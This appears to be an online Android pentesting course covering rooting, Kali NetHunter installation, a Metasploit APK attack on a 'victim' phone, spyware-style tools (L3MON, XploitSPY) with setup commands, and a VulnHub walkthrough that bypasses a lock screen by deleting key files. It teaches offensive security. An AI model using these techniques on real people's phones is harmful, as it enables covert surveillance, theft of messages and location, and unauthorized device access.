    Click on the Start button in Odin. It will take a few seconds to complete and if everything went well, you should see PASS! in green as shown on the following screen. Once the process is complete your phone will restart automatically.

    Reading Material
    Android Rooting, Bootloaders & Kali NetHunter Lesson 31 of 38
    In Progress

    Kali NetHunter: Mobile Penetration Testing Platform



    Kali NetHunter is a free and open-source Mobile Penetration Testing Platform for Android Devices (based on Kali Linux) developed by Offensive Security, the creator of the popular Kali Linux distribution. 

    It is designed for various devices and includes support for hacking wireless networks, web applications, and mobile devices.

    NetHunter supports wireless 802.11 frame injection, one-click MANA Evil Access Point setups, HID keyboard (Teensy-like attacks), as well as BadUSB MITM attacks. It also includes a custom kernel, which has been specially configured for penetration testing and includes support for various wireless hacking tools. NetHunter also includes several command line utilities, including Nmap, Metasploit, and sqlmap, making it a powerful platform for network and application security testing.

    NetHunter can be installed on almost every Android device under the sun using one of the following editions:

    • Non-rooted devices (NetHunter Rootless)
    • Rooted devices that have a custom recovery (NetHunter Lite),
    • Rooted devices with custom recovery for which a NetHunter-specific kernel is available (NetHunter).

    The following table illustrates the differences in functionality:

    Feature

    NetHunter Rootless

    NetHunter Lite

    NetHunter

    App Store

    Yes

    Yes

    Yes

    Kali cli

    Yes

    Yes

    Yes

    All Kali packages

    Yes

    Yes

    Yes

    KeX

    Yes

    Yes

    Yes

    Metasploit w/o DB

    Yes

    Yes

    Yes

    Metasploit with DB

    No

    Yes

    Yes

    NetHunter App

    No

    Yes

    Yes

    Requires TWRP

    No

    Yes

    Yes

    Requires Root

    No

    Yes

    Yes

    WiFi Injection

    No

    No

    Yes

    HID attacks

    No

    No

    Yes




    Android Rooting, Bootloaders & Kali NetHunter Lesson 32 of 38
    In Progress

    Install Kali NetHunter on Rooted Android Device

    Installing Kali NetHunter may take a long process and be too complicated. I have already created these videos, you can find them on my blog or on my YouTube channel. Here, in this video, I am going to install Kali NetHunter on a Listed Device on the Kali Nethunter Download page.

    Before getting started, our first priority is to ready the required tools and resources.

    Make sure, your system has been configured with  Platform Tools on your Windows PC, if you have not yet configured then follow the below links:

    Unlock The Bootloader

    To root an Android Device, our first priority is to unlock the bootloader. It is not easy to unlock the bootloader in the Nokia 6.1 Plus because Nokia Smartphones do not officially offer bootloader unlock codes (except for the Nokia 8).

    While searching on Google, I found this article briefly explaining the steps to unlock the bootloader.

    Install Nokia USB Drivers

    To install Nokia USB Drivers, Firstly, Plug in a USB cable. Once Plug-in, It will automatically show us the Nokia Drivers. 

    Firstly, copy all these to a new directory and then install it.

    Download the Nokia Bootloader Unlock Tool

    Once the Driver is installed, Download the Nokia Bootloader Unlock Tool. Click on the Download to Download it.

    Reboot the Phone into Bootloader Mode

    Once Downloaded, next, we have to reboot the phone into bootloader mode.

    Firstly, we have to enable developer options. To do this, go to Settings  About phone.


    Scroll down and tap on the "Build number" field 7 times. 

    Go back to the previous menu and click on System → tap on Advanced  → Developer Options

    • Toggle the "USB debugging" option to "On" to enable USB debugging. 

    Now, again connect your device to your computer using a USB cable and open a command prompt by pressing Windows + R, and typing cmd.

    Type the following command to list the connected Android devices that are detected by the Android Debug Bridge (ADB) tool. 

    Microsoft Windows [Version 10.0.19044.1288]
    (c) Microsoft Corporation. All rights reserved.

    C:\Users\ajuam>adb devices
    * daemon not running; starting now at tcp:5037
    * daemon started successfully
    List of devices attached
    DRGID18092408445unauthorized

    As you can notice, an Android Device is listed but it does not have any authorization. We have to allow USB debugging to authorize the device to run ADB commands.

    As you can see the device now has authorization.

    C:\Users\ajuam>adb devices
    List of devices attached
    DRGID18092408445device

    Now, type the following command to reboot your device into bootloader mode.

    C:\Users\ajuam>adb reboot bootloader

    As you can see, my Android device is now switched to download mode, which means we are on Bootloader mode or fastboot mode.

    Generate OTP for the Unlock Tool

    Click on Generate OTP, and click on Get the OTP

    The OTP is valid for 15 minutes from generation.

    Run the Unlock Tool and unlock your phone

    Extract the previously downloaded "Nokia Bootloader Unlock tool".

    Run the “Bootloader Unlock by tm.exe” file.

    On execution, you will find out below the window.

    Here, paste the OTP, and then click on Begin Unlock

    Once you click on the Begin Unlock button, you will notice various processes. Wait for the process to complete. 

    Confirm “Unlock the bootloader” press the volume down button, and then press the Power button to continue the procedure.

    After reboot, it will automatically erase all data and we have to confirm "unlock the bootloader" a second time.

    Now again confirm the unlock of the bootloader as shown on my screen.

    Now, as you can notice, The Bootloader unlock is completed, and we are ready to flash the recovery software that we have downloaded previously.

    Flash Recovery Image

    To flash the recovery image, we have to Enable developer options again, as the Android device is completely reset.

    Now, open a command prompt by pressing Windows + R, typing cmd, and then type the following command to list the connected Android devices.

    C:\Users\ajuam>adb devices
    List of devices attached
    DRGID18092408445device

    Now, type the following command to reboot your device into bootloader mode.

    C:\Users\ajuam>adb reboot bootloader

    Once my device is booted to download mode, type the following command to list the connected Android devices that are detected by the fastboot tool.

    C:\Users\ajuam>fastboot devices
    DRGID18092408445fastboot

    As you can see, a fastboot device is listed.

    If somehow no devices are listed, it means that fastboot is not detecting any connected devices. This could be because the device is not correctly connected to the computer, or because the device is not in fastboot mode, or sometimes there will be a chance of missing driver issues. If there is a problem with the missing driver issue, then you can follow the below article:

    To flash the recovery image, run the following command:

    Type the fastboot flash boot, and “here drag and drop the path of the recovery image” to flash the recovery image file to my Android device.

    C:\Users\ajuam>fastboot flash boot E:\Downloads\lineage-18.1-20220414-recovery-DRG.img
    Sending 'boot_b' (36937 KB)OKAY [  0.885s]
    Writing 'boot_b'OKAY [  0.261s]
    Finished. Total time: 1.435s

    After the flashing process is complete, type the following command to reboot an Android device into recovery mode.

    c:\Users\ajuam>fastboot reboot recovery
    Rebooting into recoveryOKAY [  0.000s]
    Finished. Total time: 0.005s

    Your device will boot into LineageOS recovery mode.


    Now, we have to flash the LineageOS custom ROM zip file.

    Flash Custom ROM (LineageOS 18.1)

    To flash Lineage OS 18.1, firstly, we have to format the data. Tap on Factory Reset.

    Now here click on Format the data/Factory Reset.


    Now tap on Format Data to wipe out all data.

    On click, it automatically wipes out all data. Once wipe-out data is completed, go back to the previous menu to flash custom ROM.

    To flash custom ROM, click on “Apply Update”.

    Click on Apply from ADB

    Apply from ADB is a feature that allows a user to install OTA (over-the-air) updates or custom ROMs on an Android device using a command-line interface on a computer.

    The command, that is used to apply an update is, “adb sideload <mention the location of the file>”. 

    c:\Users\ajuam>adb sideload E:\Downloads\lineage-18.1-20220414-nightly-DRG-signed.zip
    Total xfer: 1.00x
    c:\users\ajuam>

    On completion, I have to reboot my device.


    After reboot, we have to set up LineageOS.

    Flash Google Apps

    Optionally, if you want to install an application package add-on such as Google Apps follow the below steps:

    Turn off your device and then press the Power button along with the Volume up button to switch back to Recovery Mode.

    Similar to the previous, tap on Apply Update, and then tap on "Apply from ADB".

    Now, we have to flash the "MindTheGApps" zip file.  

    C:\Users\ajuam>adb sideload E:\Downloads\MindTheGapps-11.0.0-arm64-20220217_100228.zip
    Total xfer: 1.00x
    C:\Users\ajuam>

    Tap on "Yes" to continue the installation. 

    On completion, go back to the previous menu and then click on "Reboot System Now".

    After reboot, you will find fresh newly installed LineageOS.

    As you can notice, Google apps are successfully installed. But, for better performance, I suggest you Erase the data. 

    Setting → System → Advanced → Reset Options

    After erasing, follow the instructions to set up the device. 

    Now, we have successfully installed LineageOS 18.1 along with GApps. But, we don't have any root privileges.

    Root Android Device

    Now, again, we have to enable the USB debugging and then run the following command to list devices.

    C:\Users\ajuam>adb devices
    List of devices attached
    DRGID18092408445device

    Now, type the following command to reboot the device into recovery mode. 

    C:\Users\ajuam>adb reboot recovery

    Similar to the previous, we have to flash Magisk Manager. Firstly, tap on “Apply Update”, and then click on "Apply from ADB".

    Now, we can flash Magisk Manager to root the device.

    C:\Users\ajuam>adb sideload E:\Downloads\Magisk-v25.2.zip
    Total xfer: 1.00x

    C:\Users\ajuam>

    Once the device is booted up, you will see the Magisk Manager app icon. But the Magisk Manager Application needs to be installed once again.

    Tap on the Magisk app icon to Download the Magisk Manager application. 

    Once downloaded, click on Install.

    Once installed launch Magisk Manger Application.

    Tap on Install to flash the newly downloaded Magisk manager

    Here choose, Direct Install and then click on "Let's go":

    On completion, tap on reboot to ensure that the changes take effect, and are properly configured and integrated with the operating system.

    Install Kali NetHunter

    Now, we are ready to Install Kali NetHunter custom ROM. Let me transfer the NetHunter custom ROM zip file to my Android device.


    Launch the Magisk Manager app.

    From here, go to the Modules tab

    Tap on Import the file and import the Kali NetHunter ROM zip file.

    So that it will automatically flash Kali NetHunter custom ROM.

    This process may take 25 minutes or more. Once the custom ROM flashes, reboot your device.

    Once boot up, you will find out 4 newly installed applications.

    Now, launch the Kali NetHunter Application from the Application Menu and allow Permissions. 

    Now, Grant superuser privilege

    Once Superuser privilege is granted, the Kali NetHunter app automatically detects installation files.

    Kali NetHunter successfully boots up, but "Kali Chroot manager" is not up and running. 

    To set up Kali Chroot, Tap on the "Kali Chroot Manager" icon.

    As you can notice, the Kali Chroot has already been installed, but various file systems are not yet mounted. So we have to start Kali Chroot in the "Start Kali Chroot" environment.

    Now Kali Chroot is up. 

    When the Kali Chroot Manager is running, you can use it to manage the Kali Linux Chroot environment on your Android device. This includes installing and removing tools, configuring settings, and accessing the command-line interface (CLI) version of Kali Linux.

    These are the complete process to install and set up Kali NetHunter on a listed device.

    Android Rooting, Bootloaders & Kali NetHunter Lesson 33 of 38
    In Progress

    Kali NetHunter Lite: Install on Any Rooted Device

    Kali NetHunter Lite is a lightweight version of the Kali NetHunter penetration testing platform for Android devices. It is designed for devices with low hardware specifications and limited resources, such as smartphones with low memory and storage capacity. 

    Here, in this video, we will be going to install Kali Nethunter lite on a non-listed device. Remember, your Android device must be rooted with the help of the Magisk manager

    Kali NetHunter Lite can be installed on any compatible Android device, as long as the device is rooted. It is not available on the Google Play Store, so you will need to download the NetHunter Lite image file from the Kali Linux website and install it on your device manually.

    Note: To install Kali NetHunter Lite on an Android Device, your Device must be rooted with Magisk Manager

    Here, In this article, I am going to install Kali NetHunter lite on a  Samsung Galaxy J7 (2015)  non-listed Android Device.

    According to the Specifications, Samsung Galaxy J7 (2015) is a 32-bit of Architecture. Since the  Samsung Galaxy J7 (2015) has low space, so I have to download the nano version.

    Follow the below Article to root your Android Device:

    I recommend you all install Kali NetHunter Lite on LineageOS. Because LineageOS is customizable and the most important part is, "After a successful flash, you can showcase Kali Boot Animation ".

    Install Kali NetHunter Lite on LineageOS

    Follow the below steps to install Kali NetHunter Lite on Samsung Galaxy J7 (2015) on LineageOS:

    1. Launch the Magisk Manager app.

    2. Tap on Module Tap.


    3. Choose the "NetHunter Generic ARMhf kalifs-full" zip file from Storage, which we have downloaded from the Kali Linux official site.


    4. So that it will automatically flash NetHunter Lite custom ROM.

    5. This process may take 25 minutes or more. Once the custom ROM flashes, reboot your device.

    6. Once boot up, you will find 4 newly installed applications.

    7. Launch NetHunter Application. 

    • Allow all permission for NetHunter application and also grant root privilege.

    8. NetHunter Lite successfully booted up, but " Kali Chroot manager " is not up and running, so we have to install Kali Chroot.

    9. Tap on Kali Chroot Manager, and then click "Install Kali Chroot".

    11. Click on " Start Kali Choot ", to start to chroot environment.

    12. Once installation is successful, you will find out NetHunter Lite is up and running.

    When the Kali Chroot Manager is running, you can use it to manage the Kali Linux Chroot environment on your Android device. This includes installing and removing tools, configuring settings, and accessing the command-line interface (CLI) version of Kali Linux.

    These are the complete process to install and set up Kali NetHunter Lite on a non-listed device.

    Install Kali NetHunter Lite without LineageOS support

    If your device does not have lineageOS support, you can follow a similar process to install it.

    Sometimes, After a successful flash, if you do not find the NetHunter applications, then you will have to flash the Kali Nethunter Lite from TWRP recovery software.  

    Follow the below steps to install Kali NetHunter lite on any Android device:

    1. Firstly, switch off your Mobile, and switch to the TWRP recovery mode by pressing the Power button, volume up, and Home button simultaneously.

    2. Here, click on Install and tap on the downloaded Kali NetHunter zip file. 

    It will automatically flash the software and install the required packages.

    3. On successful flash, reboot the system. Now, launch the  Kali NetHunter lite Application from the Application Menu. 

    4. Allow all Permission and, Grant superuser privileges

    5. Once Superuser privilege is granted, the Kali NetHunter lite app automatically detects installation files. Kali NetHunter lite successfully boots up, but Kali Chroot's manager is not up and running. 

    6. To set up Kali Chroot, Tap on the " Kali Chroot Manager ".

    7. If you face this error, we will have to install Kali Chroot manually. Firstly, extract the zip file and copy the " tar.xz " file to the home (Device Storage)  directory.

    8. Go back to the Kali NetHunter Application and Tap on " Install Kali Chroot  Restore from Local Storage (.tar.gz, .tar.xz), and set the path of the file.

    9. This installation process takes time, based on System performance. 

    10. Chroot Manager was successfully installed, but various file systems are not yet mounted. So we have to start Kali Chroot, to start Kali Chroot environment.

    11. Tap on Start Kali Chroot to the chroot environment.

    12. Kali Chroot manager is up and running.

    When the Kali Chroot Manager is running, you can use it to manage the  Kali Linux Chroot environment on your Android device. This includes installing and  removing tools configuring settings, and accessing the  command-line interface (CLI) version of Kali Linux.

    Reading Material
    Android Exploitation & Practical Assessment Lesson 34 of 38
    In Progress

    Attacking Android with Metasploit Framework

    The Android platform can be attacked either by creating a simple APK file or by injecting the payload into an actual APK. We will cover the first one. Let us get started by generating an APK file with msfvenom as follows: 

    On generating the APK file, all we need to do is to either convince the victim (perform social engineering) to install the APK or physically gain access to the phone. Let us see what happens on the phone as soon as a victim downloads the malicious APK:

    Once the download is complete, the user installs the file as follows:

    Most people never notice what permissions an app asks for. Hence, an attacker gains full access to the phone and steals personal data. The preceding section lists the required permissions an application needs to operate correctly. Once the installation happens successfully, the attacker gains meterpreter access to the target phone as follows:

    Whooaaa! We got the meterpreter access easily. Post-exploitation is widely covered in Chapter 4, Post-Exploitation with Metasploit. However, let us see some of the basic functionalities as follows:

    We can see that running the check_root command states that the device is rooted. Let us see some other functions:

    We can use the send_sms command to send an SMS to any number from the exploited phone. Let us see whether the message was delivered or not:

    Bingo! The message was delivered successfully. Meanwhile, let us see what system we broke into using the sysinfo command as follows:

    Let's geolocate the mobile phone as follows:

    Browsing the Google Maps link, we can get the exact location of the cell phone as follows:

    Let us take some pictures with the exploited phone's camera as follows:

    We can see we got the picture from the camera. Let us view the image as follows:

    Client-side exploitation is fun. However, it is tough to conduct since we require actions and help from the victim to execute a file, visit a link, or install an APK. However, in the situations where no direct attack is possible, client-side attacks are the ones that are the most useful.

    Reading Material
    Android Exploitation & Practical Assessment Lesson 35 of 38
    In Progress

    Ghost-Framework: Remote ADB Access & Exploitation

    Ghost Framework is an Android post-exploitation framework that exploits the Android Debug Bridge to remotely access an Android device.





    Why Ghost-Framework?

    • Simple and clear UX/UI
      • Ghost Framework has a simple and clear UX/UI. It is easy to understand and it will be easier for you to master the Ghost Framework.
    • Device shell access
      • Ghost Framework can access the remote Android device shell without using OpenSSH or other protocols.
    • Controlling device screen
      • Ghost Framework can access the device screen and control it remotely using a mouse and keyboard.

    Install Ghost-Framework

    To install Ghost Framework you should execute the following commands.
    mrdev@kali:~$ git clone https://github.com/EntySec/ghost.git
    --------------------------------------------------------------------------------------------------------------------------------------- 
    --------------------------------------------------------------------------------------------------------------------------------------- 
    --------------------------------------------------------------------------------------------------------------------------------------- 
    mrdev@kali:~$ ls
    ghost
    mrdev@kali:~$ cd ghost/
    mrdev@kali:~(ghost)# chmod +x install.sh
    mrdev@kali:~(ghost)# ./install.sh
    --------------------------------------------------------------------------------------------------------------------------------------- 
    --------------------------------------------------------------------------------------------------------------------------------------- 
    ---------------------------------------------------------------------------------------------------------------------------------------
    mrdev@kali:~(ghost)# cd
    mrdev@kali:~$ ghost
    mrdev@kali:~$ ls
    ghost
    mrdev@kali:~$ cd ghost/
    mrdev@kali:~(ghost)# chmod +x uninstall.sh
    mrdev@kali:~(ghost)# ./uninstall.sh
    --------------------------------------------------------------------------------------------------------------------------------------- 
    --------------------------------------------------------------------------------------------------------------------------------------- 
    ---------------------------------------------------------------------------------------------------------------------------------------
    mrdev@kali:~(ghost)#
    mrdev@kali:~$ ghost
    ghost> help
    ghost> options
    ghost> set RHOST 192.xx.xx.xxx
    ghost> run

    Uninstall Ghost-Framework

    To uninstall Ghost Framework you should execute the following commands.

    Connect Android

    Let me connect my Samsung J7 elite. So Plug in USB and allow USB debugging.

    Note: Always remember, your target device must be connected with a wifi router, not with a mobile hotspot.

    Now again open the terminal and follow these commands:

    To find your device IP address go to Settings → About phone → Status.

    Extra Credit

    Reading Material
    Android Exploitation & Practical Assessment Lesson 36 of 38
    In Progress

    L3MON: Remote Android Management Suite

    L3MON is a cloud-based remote android management suite, powered by NodeJS. 

    mrdev@kali:~$ sudo apt-get install openjdk-8-jre
    mrdev@kali:~$ curl -fsSL https://deb.nodesource.com/setup_15.x | sudo -E bash -
    sudo apt-get install -y nodejs
    mrdev@kali:~$ npm install pm2 -g
    kali@kali:~$ npm install        --> Install Dependencies
    .............................................................
    .............................................................
    .............................................................
    kali@kali:~$ pm2 start index.js   --> Stat the script
    .............................................................
    .............................................................
    .............................................................
    kali@kali:~$ pm2 startup     --> To run L3MON to startup
    kali@kali:~$ pm2 stop index
    kali@kali:~$ pm2 restart all

    Usage of L3MON

    • GPS Logging
    • Microphone Recording
    • View Contacts
    • SMS Logs
    • Send SMS
    • Call Logs
    • View Installed Apps
    • View Stub Permissions
    • Live Clipboard Logging
    • Live Notification Logging
    • View WiFi Networks (logs previously seen)
    • File Explorer & Downloader
    • Command Queuing
    • Built-In APK Builder

    Pre-requisites

    • Java Runtime Environment 8
    • Kali Linux or any Linux distros
    • NodeJs
    • A Server

    Installation Procedure

    The installation procedure is quite easy to set up just follow few steps:

    Install JRE 8

    We cannot stress this enough USE java 1.8.0 ANY issues that don't use this will be closed WITHOUT a response.
    • Debian, Ubuntu, Etc
    If you found a JDK-8 installation candidate then Click here.

    Install NodeJS

    Quite easy to install Click Here to get more info or paste this command if you are a Debian-based Linux user.
    If you found any dpkg error click here to fix it.

    Install PM2

    PM2 enables you to keep applications alive forever, reloads them without downtime, helps you to manage application logging, monitoring, and clustering.
    • Download and Extract the latest release from GitHub.
    • In the extracted folder, run these commands

    Set a Username & Password

    • Now Stop L3MON
    • Open maindb.json in a text editor
    • under admin
      • set the username as plain text
      • set the password as a LOWERCASE MD5 hash
    • save the file
    • run

    In your browser navigate to http://<SERVER IP>:22533

    It's recommended to run L3MON behind a reverse proxy such as NGROK.


    Android Exploitation & Practical Assessment Lesson 37 of 38
    In Progress

    XploitSPY: Android Monitoring & Payload Analysis

    A cloud-based Android Monitoring Tool that gives you the power to control/SPY any Android device.

    This article will help you to find out your Answer.
    mrdev@kali:~$ sudo apt-get install openjdk-11-jre
    mrdev@kali:~$ curl -fsSL https://deb.nodesource.com/setup_15.x | sudo -E bash -
    sudo apt-get install -y nodejs
    mrdev@kali:~$ npm install pm2 -g
    mrdev@kali:~$ git clone https://github.com/XploitWizer/XploitSPY.git
    mrdev@kali:~$ cd XploitSPY/server
    mrdev@kali:~/XploitSPY/server$ 
    mrdev@kali:~/XploitSPY/server$  npm install        #Install Dependencies
    .............................................................
    .............................................................
    .............................................................
    mrdev@kali:~/XploitSPY/server$ pm2 start index.js #Stat the script
    .............................................................
    .............................................................
    .............................................................
    mrdev@kali:~/XploitSPY/server$ pm2 startup   #To run XploitSPY to startup
    mrdev@kali:~/XploitSPY/server$ pm2 stop index.js
    mrdev@kali:~/XploitSPY/server$  nano maindb.json  #maindb.json contain your username and password
    mrdev@kali:~/XploitSPY/server$ pm2 start index.js



    Usage of XploitSPY

    • GPS Logging
    • Microphone Recording
    • View Contacts
    • SMS Logs
    • Send SMS
    • Call Logs
    • View Installed Apps
    • View Stub Permissions
    • Live Clipboard Logging
    • Live Notification Logging
    • View WiFi Networks (logs previously seen)
    • File Explorer & Downloader
    • Command Queuing
    • Built-In APK Builder

    Pre-requisites

    • Java Runtime Environment 11 or above
    • Kali Linux or any Linux distros
    • NodeJs
    • A Server

    Installation Procedure

    The installation procedure is quite easy to set up just follow few steps:

    Install JRE 8

    We cannot stress this enough USE java 1.8.0 ANY issues that don't use this will be closed WITHOUT a response.
    Debian, Ubuntu, Etc

    Install NodeJS

    Quite easy to install Click Here to get more info or paste this command if you are a Debian based Linux user.
    If you found any dpkg error click here to fix it.

    Install PM2

    PM2 enables you to keep applications alive forever, reloads them without downtime, helps you to manage application logging, monitoring, and clustering.

    Clone the latest release from GitHub and go inside the XploitSPY directory.

    In the extracted folder, run these commands
    Now Stop XploitSPY:
    If you want to set up your Username & Password then you can try the following command:
    maindb.json

    If you do not know how to configure then click here.
    Now again start the server.
    In your browser navigate to http://<SERVER IP>. ex: http://127.0.0.1
    It's recommended to run XploitSPY behind a reverse proxy such as NGROK.

    Android Exploitation & Practical Assessment Lesson 38 of 38
    In Progress

    Android 4.1 VulnHub Machine: Full Walkthrough & Exploitation


    The box, I will be writing up from the result is Android 4.

    The settings up are quite easy and it is similar to the past videos.

    • Firstly, download the ".ova" mirror image.
      • Open Virtual Box. 
      • Click on import, and browse the file from the Download directory.
    • On completion, Check if the Network Adapter is set to Host-only adapter, or not.

    Once you are done with the settings up, let’s start the instance VMs.

    The instance is ready, and we have got a UI that asks us to input a password. Our task will be to find the flag and also will unlock the password screen.

    Enumeration

    The instances are ready and we are on Kali Linux. Let's find out the IP address by using Netdiscover

    ┌─[mrdev@TS]─[~]
    └──╼ $ sudo netdiscover -i vboxnet0
     Currently scanning: 192.168.112.0/16   |   Screen View: Unique Hosts                                                              
     2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 102                                                                   
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     192.168.56.100  08:00:27:9a:5a:48      1      42  PCS Systemtechnik GmbH                                                          
      192.168.56.108  08:00:27:05:35:56      1      60  PCS Systemtechnik GmbH                                                          

    We have discovered an IP address, so let's perform a network scan to detect what ports are open, which is already known as an essential part of the enumeration process. This offers us the opportunity to better understand the attacking surface and design targeted attacks. As in most cases, we are going to use the famous Nmap tool.

    Conducting Network Scans with Nmap

    • -sC : Performs a script scan using the default set of scripts. 
    • -sV : Enables version detection, which will detect what versions are running on what port.
    ┌─[✗]─[mrdev@TS]─[~]
    └──╼ $ nmap -sC -sV 192.168.56.108
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 16:44 IST
    Nmap scan report for 192.168.56.108
    Host is up (0.080s latency).
    Not shown: 998 closed tcp ports (conn-refused)
    PORT     STATE SERVICE VERSION
    5555/tcp open  adb     Android Debug Bridge device (name: android_x86; model: VirtualBox; device: x86)
    8080/tcp open  http    PHP cli server 5.5 or later
    |_http-open-proxy: Proxy might be redirecting requests
    |_http-title: Deface by Good Hackers
    Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 19.94 seconds
    ┌─[mrdev@TS]─[~]
    └──╼ $

    From the network scan, we have spotted 2 open ports.

    • Port 5555/TCP seems to be like a Freeciv gaming protocol.
    • Port 8080/TCP running an HTTP service, which indicates that there might be a website running.

    To look at the contents ourselves, we can open a web browser of our choice and navigate to the target's IP address along with port 8080 in the URL bar at the top of the window.

    Foothold

    Anyone would establish that there is some kind of verbal tampering involved in using the POST method. We tried but didn’t find anything useful.

    This seems to be like, an information page. 

    Discovery of Hidden Directories with Gobuster

    Let’s brute force the directory and URL using gobuster. 

    ┌─[✗]─[mrdev@TS]─[~]
    └──╼ $ gobuster dir -u http://192.168.56.108:8080 -w /usr/share/wordlists/dirb/common.txt

    We found nothing from the result.

    From the Nmap result, we have discovered port 5555 is in an open state. After analyzing, I confirmed that the Android device might be connected through the ADB command-line utility.

    Remotely Accessing Android Devices with ADB

    If you don’t know, what is ADB

    • Learn More:  

    Firstly open a terminal, and check if there ADB command-line utility is already installed or not. If not then install it.

    ┌─[mrdev@TS]─[~]
    └──╼ $ sudo apt-get install adb

    To get to connect the Android device through the network:

    ┌─[mrdev@TS]─[~]
    └──╼ $ adb connect 192.168.56.108:5555
    connected to 192.168.56.108:5555
    ┌─[mrdev@TS]─[~]
    └──╼ $

    On successful execution, you can list the connected devices using ADB devices. As you can see, we have successfully managed to get into the server.

    ┌─[mrdev@TS]─[~]
    └──╼ $ adb devices
    List of devices attached
    192.168.56.108:5555 devices
    ┌─[mrdev@TS]─[~]
    └──╼ $

    To get interaction with the shell, use the ADB-shell command, where you can perform Linux commands to get the flag.

    ┌─[mrdev@TS]─[~]
    └──╼ $ adb shell
    uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $ 

    Privilege Escalation

    From the output of the ADB shell command, we have successfully managed to get a shell that seems to be like a normal user account. To switch the user to superuser access then run the su command.

    uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $ su
    uid=0(root) gid=0(root)@x86:/ #

    We have successfully managed to escalate to the highest privilege. You can find the root flag to complete the challenge.

    uid=0(root) gid=0(root)@x86:/ # cd /data/root
    uid=0(root) gid=0(root)@x86:/data/root # ls
    flag.txt
    uid=0(root) gid=0(root)@x86:/data/root # cat flag.txt
    ANDROID{u_GOT_root_buddy}
    uid=0(root) gid=0(root)@x86:/data/root #

    Congratulations on the completion of capturing the flag.

    Bypassing Android Device Lock Screen Security

    Let’s see if we could remove the lock screen password using ADB. So firstly change the directory to the previous directory which is a data directory. 

    From here change the directory to the system, and list all files and directories. 

    uid=0(root) gid=0(root)@x86:/data/root # cd ..
    uid=0(root) gid=0(root)@x86:/data # cd system
    uid=0(root) gid=0(root)@x86:/data/system # ls
    appops.xml
    batterystats.bin
    called_pre_boots.dat
    device_policies.xml
    dropbox
    entropy.dat
    framework_atlas.config
    gesture.key
    ifw
    inputmethod
    locksettings.db
    locksettings.db-shm
    locksettings.db-wal
    ndebugsocket
    netstats
    packages.list
    packages.xml
    password.key
    procstats
    registered_services
    shared_prefs
    sync
    uiderrors.txt
    usagestats
    users
    uid=0(root) gid=0(root)@x86:/data/system #

    The keys are stored within the file which contains the ".key" extension. 

    uid=0(root) gid=0(root)@x86:/data/system # cat password.key
    68683BEA625263C8F04CBBC88D13233FBD2B6B875C707BC04B48AD1AD1733F739969F9D7 uid=0(root) gid=0(root)@x86:/data/system # 
    uid=0(root) gid=0(root)@x86:/data/system # rm *.key     # To remove all password Keys
    uid=0(root) gid=0(root)@x86:/data/system # 

    The key files are removed.  Reboot the device to see the magic. 

    We have successfully managed to bypass the lock screen.

    Android Architecture & App Fundamentals Quiz

    Android Architecture & App Fundamentals Quiz

    3 questions • Test your knowledge

    Question 1
    What is the format of an Android application package that end-users download and install?
    Question 2
    Which file contains vital declarations including permissions, package name, and declared components for an Android app?
    Question 3
    Which of the following is NOT one of the four fundamental Android application components?
    Setting Up the Android Pentest & Reversing Lab Quiz

    Lab Setup & Environment Quiz

    2 questions • Test your knowledge

    Question 1
    What does AVD stand for in Android development and testing?
    Question 2
    Which Linux distribution is specifically tailored with pre-installed tools for mobile forensics and malware analysis?
    Android Debug Bridge (ADB) & Device Interaction Quiz

    ADB & Device Control Quiz

    2 questions • Test your knowledge

    Question 1
    Which command is used to list all connected Android devices with ADB enabled?
    Question 2
    Which lightweight tool allows real-time display and control of Android devices over USB or TCP/IP without requiring root access?
    Reverse Engineering & Static/Dynamic Analysis Quiz

    Reverse Engineering & Analysis Quiz

    3 questions • Test your knowledge

    Question 1
    What is the primary function of Apktool during reverse engineering?
    Question 2
    Which tool combination allows converting compiled Dalvik bytecode (DEX) into standard Java bytecode (JAR) for source code viewing in JD-GUI?
    Question 3
    What is Drozer used for in Android penetration testing?
    Android Terminal Security & Termux Framework Quiz

    Termux & Mobile Terminal Security Quiz

    2 questions • Test your knowledge

    Question 1
    What package manager does Termux use to install Linux utilities?
    Question 2
    Can you run full Linux root filesystems (like Kali Linux) inside Termux on a non-rooted device?
    Android Rooting, Bootloaders & Kali NetHunter Quiz

    Rooting & Kali NetHunter Quiz

    2 questions • Test your knowledge

    Question 1
    What is the primary systemless rooting solution used on modern Android devices?
    Question 2
    What is Kali NetHunter?
    Android Exploitation & Practical Assessment Quiz

    Android Exploitation & Assessment Quiz

    2 questions • Test your knowledge

    Question 1
    Which Metasploit payload is commonly generated to establish an interactive Meterpreter session on Android?
    Question 2
    What is Ghost-Framework designed to target on exposed Android devices?
    High-Resolution Preview